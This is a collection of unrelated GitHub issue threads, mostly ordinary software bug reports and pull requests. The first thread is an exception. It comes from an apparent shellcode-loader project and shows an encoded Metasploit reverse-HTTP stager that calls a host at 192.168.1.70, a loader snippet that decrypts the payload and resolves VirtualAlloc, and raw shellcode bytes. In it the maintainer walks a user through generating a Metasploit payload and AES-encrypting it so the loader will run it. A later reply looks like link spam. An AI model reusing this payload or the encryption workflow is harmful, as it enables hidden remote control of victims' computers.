        string ciaogrande = "/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGEiLUiBWTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheWUgB0FpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A0AAAAxOTIuMTY4LjEuNzAAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1ejuAAAAL3ktUmVHN0hBS3FMc09lMDdqOFUxS0F5VE1oMzZYM0xha1h0MnFPNVhlMGZRalZKSTMtTi1LSEp2UkgwcTlyZGJxcHZHSnR1YWZKdzBqYjJxanp4UVRULVMwSGFCTGFlUnpQdnFiSXV0azhEWVZrQ0M2LXlDaUh3U2UzZmpoUVJrOGp4YmM5RnpUaGh4WHZpVDhyZXk4X2Q4R2ZBZUNRZkdJVU8wOHFwOWlHR1pTNjI0U3dTaUhjaGJ2RFFCVV9IYXp2dVNzUzVCYjdZS1pEcGU0MXQ3Tjl4dlR3aWJEQmZOc0laZUlISWlfWVlhAEiJwVNaQVhNMclTSLgAMqiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1Q==";
        byte[] buf = Convert.FromBase64String(AesOperation.DecryptString(keyAes,ciaogrande));
        int bufSize = buf.Length;
        uint oldprotect = 0;
        IntPtr VirtualAllocPtr = CiaoGrandeRetrieve(AesOperation.DecryptString(keyAes, "pd6O/2VjBB0VTrEjz216gw=="), AesOperation.DecryptString(keyAes, "pYGzDGbPbfEg8fUiOr9A0Q=="));

or iam wrong ?
thanks

You need to encrypt the base64 string first, the AesOperation.cs class also implements the encrypt() function

im still confused, sorry , to encrypt the base64 string you mean modify the AesOperation.cs like this ?
using System;
using System.IO;
using System.Security.Cryptography;
namespace CGPL
{
public class AesOperation
{
public static string EncryptString(byte[] key, string plainText)
{
byte[] iv = new byte[617] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x51,0x56,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,
0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x4d,0x31,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x5e,0x48,0x01,0xd0,
then recompile it ?

You do not need to modify the code. You need to generate your payload from metasploit, as showed in the README. Then base64 encode the payload. Once you have done that you call in the main function of Program.cs the AesOperation.Encrypt() function passing as input your base64 (not yet encrypted) payload. That string can then be used as payload. You can use any other encryptor as long as it's AES with the same key.

Ti ringrazio del suggerimento.
non essendo pratico di programmazione mi ci vorra un po di tempo per applicare quello che mi hai detto.
ciao
luca

Il giorno 28 feb 2023, alle ore 10:30, Vincenzo @.***> ha scritto:
You do not need to modify the code. You need to generate your payload from metasploit, as showed in the README. Then base64 encode the payload. Once you have done that you call in the main function of Program.cs the AesOperation.Encrypt() function passing as input your base64 (not yet encrypted) payload. That string can then be used as payload. You can use any other encryptor as long as it's AES with the same key.
—
Reply to this email directly, view it on GitHub https://github.com/oldboy21/CGPL/issues/1#issuecomment-1447849964, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAONEV6JXI4UYQZFLSGAD5TWZXARTANCNFSM6AAAAAAVJUDSKM.
You are receiving this because you authored the thread.

you mean console.writeline like this ?
Console.WriteLine(buf.ToString());
tried that but i just can see System.byte[]
any suggestion please ?


Add unit/mock tests to improve branch coverage of core/domain/skill_services.py

Added test functions in core/domain/skill_services_test.py. These tests ensure proper handling of edge cases and expected behaviors in scenarios involving user profile updates and topic editing functionalities. The aim is to increase branch coverage by addressing uncovered lines through targeted test cases. All added tests were run locally and passed successfully, thereby increasing coverage.
Changes Made:

Test for Validating Profile Data Updates:

Function Name: test_update_profile_with_invalid_data_ignores_changes
Verifies that invalid profile update data is properly ignored when calling the update profile function.
Includes mocked data for invalid updates, ensuring only valid updates are applied.

Test for Retrieving Empty Follower List:

Function Name: test_get_followers_returns_empty_for_no_followers
Ensures that the function retrieving a user's followers correctly handles cases where the user has no followers.
Validates the response structure and the correct handling of empty datasets.

Test for Ignoring Invalid Topic Commands:

Function Name: test_update_topic_with_invalid_commands_ignores_them
Confirms that invalid commands in a topic change list are skipped during topic updates.
Uses a mock class to simulate invalid commands and verifies correct behavior.

Test for Filtering Topics Without Subtopics:

Function Name: test_filter_topics_without_subtopics
Validates that topics without subtopics are correctly identified and filtered out.
Covers cases with mixed subtopic and non-subtopic scenarios to ensure robustness.
Let me know if you'd like to refine or add further details!

Need to fix a minor issue with regards to authentication.


[SYSTEMML-1131] Check hops for null before recompiling

This makes sure that we check for hops that are null when recompiling dynamically. Hops can be null in the case of simple literals that are not encoded as hop dags (e.g. predicates).

LGTM. Thank you @fschueler


Topological embedding

Dear @lucidrains, this is really awesome what you have done so far !
In your to do list is just one point left, and you say that you want to talk to a meteorologist.
So from my point of view you can use the orography/topology from the HRRR model as a basis. Alternativly you can use a digital elevation model you can get for free on the internet.
I think a resolution of 1 km is enough so far.
Hope this hint is helpful.
Best regards
Daniel

hey Daniel! thanks for the kind words and the advice!


assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref

See

https://github.com/packit-service-testing-organisation/rpm-source-git/pull/1
~~https://sentry.io/organizations/red-hat-0p/issues/1566953230~~ https://sentry.io/organizations/red-hat-0p/issues/1559923043 (edit by @lachmanfrantisek )

[ERROR/ForkPoolWorker-1] Task task.steve_jobs.process_message[31ee9728-822a-49e8-9aa4-ce537c159ad2] raised unexpected: AssertionError(None)
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/site-packages/celery/app/trace.py", line 385, in trace_task
   R = retval = fun(*args, **kwargs)
  File "/usr/local/lib/python3.7/site-packages/celery/app/trace.py", line 650, in __protected_call__
   return self.run(*args, **kwargs)
  File "/usr/local/lib/python3.7/site-packages/sentry_sdk/integrations/celery.py", line 169, in _inner
   reraise(*exc_info)
  File "/usr/local/lib/python3.7/site-packages/sentry_sdk/_compat.py", line 57, in reraise
   raise value
  File "/usr/local/lib/python3.7/site-packages/sentry_sdk/integrations/celery.py", line 164, in _inner
   return f(*args, **kwargs)
  File "/usr/local/lib/python3.7/site-packages/packit_service/worker/tasks.py", line 42, in process_message
   return SteveJobs().process_message(event=event, topic=topic)
  File "/usr/local/lib/python3.7/site-packages/packit_service/worker/jobs.py", line 323, in process_message
   jobs_results = self.process_jobs(event_object)
  File "/usr/local/lib/python3.7/site-packages/packit_service/worker/jobs.py", line 186, in process_jobs
   handlers_results[job.type.value] = handler.run_n_clean()
  File "/usr/local/lib/python3.7/site-packages/packit_service/worker/handlers/abstract.py", line 109, in run_n_clean
   return self.run()
  File "/usr/local/lib/python3.7/site-packages/packit_service/worker/handlers/fedmsg_handlers.py", line 293, in run
   chroot=self.event.chroot,
  File "/usr/local/lib/python3.7/site-packages/packit_service/worker/handlers/github_handlers.py", line 603, in __init__
   self.project, self.base_ref, pr_id
  File "/usr/local/lib/python3.7/site-packages/packit_service/config.py", line 146, in get_package_config_from_repo
   project, reference
  File "/usr/local/lib/python3.7/site-packages/packit/config/package_config.py", line 271, in get_package_config_from_repo
   path=config_file_name, ref=ref
  File "/usr/lib/python3.7/site-packages/ogr/services/github/project.py", line 386, in get_file_content
   path=path, ref=ref
  File "/usr/lib/python3.7/site-packages/github/Repository.py", line 1504, in get_contents
   assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref
  AssertionError: None

I've corrected the sentry issue -- that one was a different assert ref ... (#492 )


[AMP <IP_ADDRESS>] [McMyAdmin] Changing FTB Modpack Leaves Leftovers

When changing the FTB Modpack for Server type Feed The Beast, old mods and/or config files are not cleaned up - instead they are left in place, and whatever is required by the new Modpack is simply added on top.
This creates an issue when two different mod packs may use the same Minecraft version, but utilize different mod versions - as Forge will crash reporting a duplicate mod issue.
It would be nice to see AMP either isolate each modpack and perhaps use symlinks (on Linux, anyhow) to manage which one is active, or even just delete the previous modpack's data - or archive it - prior to installing the new one.
This would also need to include the configured world folder, since player and chunk data is stored there, and most FTB Modpacks alter worldgen.

If people are changing the server type they usually clean up the Minecraft directory as the world won't be compatable, so delete the mods at the same time

Precisely - it shouldn't be hard to add a step that purges the directory.
I'd probably include the config directory as well, since each mod pack tends to have different configurations for mods, even the same ones, depending on the goals of the mod pack.
Even just archiving it - tar.gz - and then purging it would be fine.

I understand where you're coming from but it would be unwise to fully automate the purge (IE: If someone accidentally changes the pack). However, I believe that a purge button (with confirmation) being built into the file manager would be completely feasible.

@hydeant That would be fine too - just some way of doing it from the UI without having to try from the file manager or via the file system.

Not entirely sure how to handle this, even if I had a popup dialog on-switch that said it'd delete the old modpack data - I don't trust users to ignore that dialog and then complain that their files got deleted.
There's also no sane way to tell what files belonged to the modpack, which are manually installed mods and other data.
Having multiple mods directories and switching between them with symlinks is a nice idea, but symlinks (junctions) on Windows require admin rights unless you tamper with the systems group policy which is something of a no-no.
This is definitely something that could be implemented as an AMP Plugin, but because of the pitfalls above this kind of change isn't something I'd be looking at shipping as out-of-the-box functionality.


data download problem

Hello,
it seems the VIST data download link is invalid.
I would really appreciate it if you can update the link as I really need this data.
Thanks

Hello, actually I was able to download the VIST data using the link in the README: https://drive.google.com/uc?id=1Arc5vnthfeg6qEHpKU_--y6MKZd5DM78 . Could you please try again and let me know if this still does not work.

still doesn't work
seems to be the certification problem


Added solution for Build Array From Permutation

this is amazing @lakshay451
thanks for the contribution in my repo and please share this in social media and tag me on twitter


enable user.cursorless tag for "neovim" app

Checklist

[ ] I have added tests
[ ] I have updated the docs and cheatsheet
[ ] I have not broken the cheatsheet

Pushing this file only to allow others to beta test the already packaged cursorless for neovim from https://github.com/hands-free-vim/talon.nvim/tree/beta without having to add the file manually.
Note that the app is "neovim" so it won't trigger any side effect with community which uses the "vim" app only. And the "neovim" app is only defined in https://github.com/hands-free-vim/neovim-talon so it is safe to merge now imho.

As discussed at meet-up, for now let's close this in favour of adding instructions to talon.nvim to add a file like the following anywhere in their talon user directory if they want to use cursorless-neovim:
app: neovim
-
tag(): user.cursorless

Done https://github.com/hands-free-vim/cursorless.nvim/blob/beta/README.md#talon-configuration so closing this


Correct location for CoC

Move the CoC from https://github.com/opea-project/GenAIExamples/blob/main/CODE_OF_CONDUCT.md to https://github.com/opea-project/Governance as this is widely applicable to the entire project.

@arun-gupta Does the change seem reasonable?

As the PR shows we have unify those docs into https://github.com/opea-project/docs/pull/21, I will close this issue. Feel free to re-open if you have new comments.


Added support for 64-bit immediates in IDA pseudocode

For 64-bit binaries the equivalent immediate values generally end with i64 or ui64.
As a result  would break when parsing the value using int(identifier).
This commit should solve the problem.
Warning:

I'm not sure if this code will be compliant with Python 2.7 (regarding future support).

Looks good. Can you add the hash of a publicly available sample that you tested this with (preferably something from Malshare).

Looks good. Can you add the hash of a publicly available sample that you tested this with (preferably something from Malshare).

Of course, you can find a sample .
The hash is located in DllEntryPoint -> DllMain and is 0x503CBCCD6A5CDEA8i64 by default when viewing in pseudocode.


Static client fails on register if name uses '<' '>' characters.

Tried on contiki platform. If I set name to  through AwaStaticClient_SetEndPointName then from contiki logs you get info about registered but calling awa-serverr-list-clients returns empty list. Removing '<', '>' characters make removes problem.
Checked on version 0.2.5

I'm guessing this might be more related to the IPC call for awa-server-list-clients than to the actual registration - did you test this against the deviceserver?

I suspect this is almost certainly due to using XML over IPC. The initial expectation was that endpoint names would only contain characters that can be specified in a CoAP URL (since it is used as a bootstrap parameter) however I don't think this is enforced. The endpoint name should be encoded/decoded over IPC to avoid reserved XML characters, and also encoded appropriately when used in the bootstrap URL.

@boyvinall I didn't check with DS. No time to dig around this.
@DavidAntliff I think you are right, when I tried to do awa-server-list-clients -o it crashes with some errors and NULLs. However I didn't copy those logs.
I believe method AwaStaticClient_SetEndPointName should return some error if invalid name is passed, or it do some silent strip off wrong characters.


Updating template

PR checklist

[X] Updating template
[ ] If you've fixed a bug or added code that should be tested, add tests!
[ ] If you've added a new tool - have you followed the pipeline conventions in the contribution docs
[ ] Make sure your code lints (nf-core lint).
[ ] Ensure the test suite passes (nextflow run . -profile test,docker --outdir <OUTDIR>).
[ ] Usage Documentation in docs/usage.md is updated.
[ ] Output Documentation in docs/output.md is updated.
[ ] CHANGELOG.md is updated.
[ ] README.md is updated (including new tool citations and authors/contributors).

The container needs to be modified so that it provides a non-root user with a home directory that could be used for the module, however, this is a good patch in the meanwhile.


Question: Page dewarping algorithm

Hey there,
thanks for creating this awesome app. Pretty much the lightest and greatest one I found. Just have a short question: Would you be interested in implementing a page dewarping algorithm (maybe as an optional step)? I think this would be a nice improvement.
Here is a great write-up on how to achieve a decent automatic dewarp via text line detection:
https://mzucker.github.io/2016/08/15/page-dewarping.html

If so I could try to support you with that, but if you're not interested, I wouldn't waste time trying to submit a PR...
Best,
sandreas

to fix your trouble check this solution click
maybe this will solve your problem.


How to get Container to Container communication in Mac

Hi All,
I'm a newbie to nginx-proxy and trying it from past few days, it is very good, the examples/git issues helped me. I'm mainly using this for UI and API container in my Mac. So far, it is working fine.  But i'm currently stuck at how to get communication between API1 container to API2 container in Mac.
 I verified that nginx-proxy configs are properly generated (docker-compose didnt work for me). Whenever i'm trying to reach the  api<IP_ADDRESS>.1.xip.io endpoint in API2 it is failing with ENOTFOUND (address not found).
Thanks in advance.

Replace <IP_ADDRESS> with your mac Ip


m: Fix Markdown for MkDocs

` and ' typo.
Mkdocs needs an emtpy line before the itemization.

-- Sorry for this trivial change.

Codecov Report

Merging #307 into dev will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##              dev     #307   +/-   ##
=======================================
  Coverage   54.58%   54.58%
=======================================
  Files          21       21
  Lines        1288     1288
  Branches      137      137
=======================================
  Hits          703      703
  Misses        561      561
  Partials       24       24

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 73847d0...1af2f55. Read the comment docs.


Implements regmgr_call with type = 24

Fixes #328.

@gandalfthewhite19890404 can you test this?

@gandalfthewhite19890404 can you test this?

++++++++++++++++++ P [00:00:00:00:071]:0x0000000000003498:kernel\src\regmgr\mod.rs:44
not yet implemented: regmgr_call with direct matched entry

Thanks.


Installation

Make a script that allows the user to only run the installation script to set up the e4s-info command properly.

The "New Folder Nomenclature" (e9a4f34) commit started the installation script.

The creation of folders and copying of files to the new folders should be done or really close to done as of the "INDEX Bug Fix Again" (881c752) commit. It might be worth looking into to check the user's PATH and/or create a de-installation script.

The "install.sh Updates" (60a159f) commit has the completed functionality of the installation script.


Virtualize the nested Items control using VirtualizingStackPanel

Im trying to implement the virtualization for nested Items control but, Child item control does not virtualize as like parent node. Im using the code

`<ItemsControl ItemsSource="{Binding Items}"
              ScrollViewer.HorizontalScrollBarVisibility="Auto"
              ScrollViewer.VerticalScrollBarVisibility="Auto"
              ScrollViewer.CanContentScroll="true"
              ScrollViewer.PanningMode="Both">
    <ItemsControl.Template>
        <ControlTemplate>
            <ScrollViewer>
                <ItemsPresenter/>
            </ScrollViewer>
        </ControlTemplate>
    </ItemsControl.Template>
    <ItemsControl.ItemTemplate>
        <DataTemplate>
            <ItemsControl ItemsSource="{Binding Items}">
                <ItemsControl.ItemTemplate>
                    <DataTemplate>
                        <Label Content="{Binding}"/>
                    </DataTemplate>
                </ItemsControl.ItemTemplate>
                <ItemsControl.ItemsPanel>
                    <ItemsPanelTemplate>
                        <UniformGrid Rows="1"/>
                    </ItemsPanelTemplate>
                </ItemsControl.ItemsPanel>
            </ItemsControl>
        </DataTemplate>
    </ItemsControl.ItemTemplate>
    <ItemsControl.ItemsPanel>
        <ItemsPanelTemplate>
            <VirtualizingStackPanel VirtualizationMode="Recycling" IsVirtualizing="True"/>
        </ItemsPanelTemplate>
    </ItemsControl.ItemsPanel>
</ItemsControl>`

Can you please let me know how to virtualize the child items controls?

Thanks for taking the time to let us know about this. The scope of our feedback channel here on GitHub covers specific documentation fixes, but I can help redirect you to the right support channel to get an answer to your question. The community of experts and Microsoft Engineers over at Microsoft Q&A offer timely answers to a multitude of technical questions surrounding windows-uwp. Hope you can get an answer there.

Thanks for taking the time to let us know about this. The scope of our feedback channel here on GitHub covers specific documentation fixes, but I can help redirect you to the right support channel to get an answer to your question. The community of experts and Microsoft Engineers over at Microsoft Q&A offer timely answers to a multitude of technical questions surrounding windows-uwp. Hope you can get an answer there.


Allow count of elements in repeated-element array syntax to be any comptime Field

Problem
PR #440 expands the repeated-element array syntax to accept a count of elements where count is an integer expression containing only literals, basic numeric operations, or global constants. Although this should cover most usecases, it is theoretically overly limiting to users.
Solution
We could allow all expressions that evaluate to a comptime Field (or other countable integer type) as part of the count expression. Then both expressions in [expr; expr] would be arbitrary, just with type checking constraints limiting the second to be known at compile-time.
Alternatives considered
Alternatively, we could say users do not need this flexibility and choose not to have this feature.

@f01dab1e feel free to take this on; if you choose to, please write a summary of how you plan to take it on in this issue beforehand

should we start introducing the concept of const? and allow only const expressions?

Right now, it seems like the main thing we're missing is the ability to use numeric generics in these array size expressions. I don't think we'd need full const expression support (e.g. const functions), we should start with this main missing feature I think.

I was asked to write a plan...
introduce a new type: AbstractConst, something like this:
struct AbstractConst<'tcx> {
    nodes: Vec<Node>,
}

enum Node {
    Leaf(u64),
    Binary(Node, BinOp, Node),
    Unary(UnOp, Node),
}

expand unification with the try_unify_const function. something like this:
fn try_unify_const(a: AbstractConst, b: AbstractConst) -> bool {
 match (a.root(), b.root()) {
     (Leaf(a), Leaf(b)) => a == b,
     (UnaryOp(a_op, av), UnaryOp(b_op, bv)) if a_op == b_op => {
         try_unify(tcx, a.subtree(av), b.subtree(bv))
     }
     <...>
 }
}

when the user supplies type parameters with values it is easy to execute...


Infinite page loading

Like npm run generate
same with npm run dev command
Not a single page is rendered, there are no errors in the terminal

Sorry for the late reply. I'm using this module on various projects myself and the only way to get this behaviour is if you forget to call await renderPageDependencies() in a page component. The module explicitly makes sure to handle errors in page components as well. If you did call that composable and still experience the issue, would it be possible to share your nuxt config to see if maybe some other modules interfer with this one?

now it ok
but new problem come

Thanks for reporting, will check.


Split XmlGraph.java class

Split XmlGraph.java class into several classes
Logic of splitting:

Extract the Map creation into a separate class.
Extract the logic for building the list of nodes into another class.
Simplification of the XmlGraph class to use these helper classes.

@yegor256
Could you please check this pr?


Add tests and set correct return type for time

Description of PR
This PR adds several tests for the IamSlice feature. To ensure consistency, the tests are implemented directly as alternatives to the filter() tests.
It also implements the different return-type for the time attribute (pd.Index, all other dimension-attributes are lists).

Implemented the suggested change. I noticed that this changed the "name"-attribute of the returned pd.Index object (from None to time). This actually seems to be preferable behavior, so I also implemented the minimal changes to make IamDataFrame.time behave in the same manner.


OVN octavia backend unsuported algorithm

Hi,
After the ovn implemetation i see some errors about a not supported algorithm that prevents to expose a service using octavia:
2024-04-05 21:04:49.759 22 INFO octavia.api.drivers.utils [None req-52d882c9-5817-4f83-bb50-65438b0135a7 - 01adb0aae1b94bd493311c94456643a4 - - default default] Provider 'ovn' raised an unsupported option error: OVN provider does not support ROUND_ROBIN algorithm
2024-04-05 21:04:49.764 22 ERROR wsme.api [None req-52d882c9-5817-4f83-bb50-65438b0135a7 - 01adb0aae1b94bd493311c94456643a4 - - default default] Server-side error: "Provider 'ovn' does not support a requested option: OVN provider does not support ROUND_ROBIN algorithm". Detail:
Traceback (most recent call last):

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/octavia/api/drivers/utils.py", line 52, in call_provider
    return driver_method(*args, **kwargs)

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/ovn_octavia_provider/driver.py", line 110, in loadbalancer_create
    self.pool_create(pool)

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/ovn_octavia_provider/driver.py", line 141, in pool_create
    self._check_for_supported_algorithms(pool.lb_algorithm)

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/ovn_octavia_provider/driver.py", line 67, in _check_for_supported_algorithms
    raise driver_exceptions.UnsupportedOptionError(

octavia_lib.api.drivers.exceptions.UnsupportedOptionError: OVN provider does not support ROUND_ROBIN algorithm

During handling of the above exception, another exception occurred:

Traceback (most recent call last):

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/wsmeext/pecan.py", line 82, in callfunction
    result = f(self, *args, **kwargs)

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/octavia/api/v2/controllers/load_balancer.py", line 577, in post
    lock_session.rollback()

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/oslo_utils/excutils.py", line 227, in __exit__
    self.force_reraise()

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/oslo_utils/excutils.py", line 200, in force_reraise
    raise self.value

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/octavia/api/v2/controllers/load_balancer.py", line 567, in post
    driver_utils.call_provider(

  File "/var/lib/kolla/venv/lib64/python3.9/site-packages/octavia/api/drivers/utils.py", line 74, in call_provider
    raise exceptions.ProviderUnsupportedOptionError(

octavia.common.exceptions.ProviderUnsupportedOptionError: Provider 'ovn' does not support a requested option: OVN provider does not support ROUND_ROBIN algorithm
: octavia.common.exceptions.ProviderUnsupportedOptionError: Provider 'ovn' does not support a requested option: OVN provider does not support ROUND_ROBIN algorithm

This is the note for the ovn octavia backend doc:
Limitations of the OVN Provider Driver:
Only the SOURCE_IP_PORT load balancing algorithm is supported, others like ROUND_ROBIN and LEAST_CONNECTIONS are not currently supported.
Thanks!

I pushed a PR for this, if you're able to test it, that would be really nice... since we use the Amphora provider for our CI, not OVN.

I pushed a PR for this, if you're able to test it, that would be really nice... since we use the Amphora provider for our CI, not OVN.

Hi!
Yes i can test it, i need only to update the python package right? because im using kolla ansible and magnun-api is containerized. But yes i go to test it and share results.
Thanks!

i try to install but i dont find the 0.17 version:
ERROR: Could not find a version that satisfies the requirement magnum-cluster-api==0.17 (from versions: 0.1.0, 0.1.1, 0.1.2, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.2.5, 0.2.6, 0.2.7, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.4.0, 0.4.1, 0.4.2, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.6.0, 0.7.0, 0.7.1, 0.7.2, 0.8.0, 0.8.1, 0.9.0, 0.9.1, 0.10.0, 0.11.0, 0.11.1, 0.11.2, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.14.0, 0.14.1, 0.14.2, 0.15.0, 0.15.1, 0.16.0)
ERROR: No matching distribution found for magnum-cluster-api==0.17

@mathgonzalezz You will need to install directly from Git, 0.17.0 has not been released yet.

@mathgonzalezz You will need to install directly from Git, 0.17.0 has not been released yet.

Sorry for this question, but are you able to help me installing? or you have some document that i can follow?
thanks!


Why is a Krylov solver mentioned?

Why is a Krylov solver mentioned?

fenics@752dcc5f5346:~/shared/phaseflow-fenics$ python3 -m pytest -v -s -k "not nightly and ghia"
======================================================== test session starts =========================================================
platform linux -- Python 3.5.2, pytest-2.8.7, py-1.4.31, pluggy-0.3.1 -- /usr/bin/python3
cachedir: .cache
rootdir: /home/fenics/shared/phaseflow-fenics, inifile:
plugins: dependency-0.2
collecting 0 items/usr/local/lib/python3.5/dist-packages/h5py/init.py:68: UserWarning: h5py is running against HDF5 1.8.16 when it
was built against 1.8.18, this may cause problems
'{0}.{1}.{2}'.format(*version.hdf5_built_version_tuple)
collected 13 items
tests/test_ghia1982.py::test_ghia1982_steady_lid_driven_cavity Running Phaseflow with the following arguments:
({'prandtl_number': 0.71, 'boundary_conditions': [{'location_expression': 'near(x[1],  1.)', 'method': 'topological', 'value_expressio
n': ('1.', '0.'), 'subspace': 0, 'degree': 3}, {'location_expression': 'near(x[0],  0.) | near(x[0],  1.) | near(x[1],  0.)', 'method'
: 'topological', 'value_expression': ('0.', '0.'), 'subspace': 0, 'degree': 3}, {'location_expression': 'near(x[0], 0.) && near(x[1],
0.)', 'method': 'pointwise', 'value_expression': '0.', 'subspace': 1, 'degree': 2}, {'location_expression': 'near(x[0], 0.) && near(x[
1], 0.)', 'method': 'pointwise', 'value_expression': '1.', 'subspace': 2, 'degree': 2}], 'initial_values_expression': ('near(x[1],  1.
)', '0.', '0.', '1.'), 'adaptive': False, 'time_step_size':<PHONE_NUMBER>000.0, 'end_time':<PHONE_NUMBER>000.0, 'thermal_conductivity': 1.0,
'start_time': 0.0, 'nlp_relative_tolerance': 0.0001, 'steady_relative_tolerance': 0.0001, 'stefan_number': 1e+16, 'm_B': <function ru
n..m_B at 0x7fc6181f5950>, 'nlp_max_iterations': 50, 'adaptive_solver_tolerance': 0.0001, 'output_dir': 'output/test_ghia1982_
steady_lid_driven_cavity', 'restart': False, 'mesh': <dolfin.cpp.mesh.UnitSquareMesh; proxy of <Swig Object of type 'std::shared_ptr<
dolfin::UnitSquareMesh > *' at 0x7fc61828a8d0> >, 'rayleigh_number': 1000000.0, 'liquid_viscosity': 0.01, 'restart_filepath': '', 'gra
vity': (0.0, 0.0), 'solid_viscosity': 1e-08, 'penalty_parameter': 1e-07, 'ddT_m_B': <function run..ddT_m_B at 0x7fc6181f59d8>,
'nlp_absolute_tolerance': 1e-08, 'temperature_of_fusion': -1000000000000.0, 'adaptive_metric': 'all', 'regularization_smoothing_facto
r': 0.005, 'stop_when_steady': True, 'heat_capacity': 1.0}, [])
Running 2D problem
Generating forms required for error control, this may take some time...
Writing solution to HDF5+XDMF
Solving nonlinear variational problem.
Newton iteration 0: r (abs) = 1.817e+01 (tol = 1.000e-08) r (rel) = 1.000e+00 (tol = 1.000e-04)
Solving linear system of size 8244 x 8244 (PETSc LU solver, umfpack).
PETSc Krylov solver starting to solve 8244 x 8244 system.
Newton iteration 1: r (abs) = 1.182e-02 (tol = 1.000e-08) r (rel) = 6.507e-04 (tol = 1.000e-04)
Solving linear system of size 8244 x 8244 (PETSc LU solver, umfpack).
PETSc Krylov solver starting to solve 8244 x 8244 system.
Newton iteration 2: r (abs) = 1.146e-03 (tol = 1.000e-08) r (rel) = 6.306e-05 (tol = 1.000e-04)
Newton solver finished in 2 iterations and 2 linear solver iterations.
Reached time t =<PHONE_NUMBER>000.0
Writing solution to HDF5+XDMF
Unsteadiness (L2 norm of relative time residual), || w_{n+1} || / || w_n || = 0.26336428759593783
Reached end time, t =<PHONE_NUMBER>000.0
Computed bounding box tree with 3199 nodes for 1600 entities.
PASSED
========================================== 12 tests deselected by '-knot nightly and ghia' ===========================================
============================================== 1 passed, 12 deselected in 1.66 seconds ===============================================

This is perplexing. I run what should be the same solver in other scripts, such as https://github.com/geo-fluid-dynamics/introduction-to-fenics/blob/master/navier-stokes/navier_stokes.py and https://github.com/alexanderzimmerman/fenics-nonlinear_mixedfe/blob/master/nonlinear_mixedfe.py . I can't see why the behavior of fenics.NonlinearVariationalSolver(problem).solve() is any different here. I've played with those other scripts, making some aspects more like Phaseflow, and I'm not reproducing the issue.

I am only seeing this message about the Krylov solver in some of the scripts because of fenics.fenics_log_level(). For time dependent problems, I have been setting fenics.set_log_level(fenics.PROGRESS), per a time dependent tutorial I saw before. Apparently this log level also captures the call to a Krylov solver. So as far as I can tell, a Krylov solver has always been called at some point. Now I have to figure out why this is ever needed. Maybe fenics.set_log_level(fenics.DEBUG) will do the trick. I haven't explored these log levels before.

Garth Wells answered my question here.

Per Garth's direction, I raised this as an issue on Bitbucket.


Issues in measuring work with constrained systems

@maxentile noticed that the estimates of $DeltaF_neq$ for constrained alanine dipeptide were large and negative, which shouldn't happen. Examination of the shadow work distributions shows the centers of these distributions are displaced by roughly -10 kJ/mol, suggesting we're seeing a loss of kinetic energy roughly equal to the velocity components along all 12 constrained bonds.

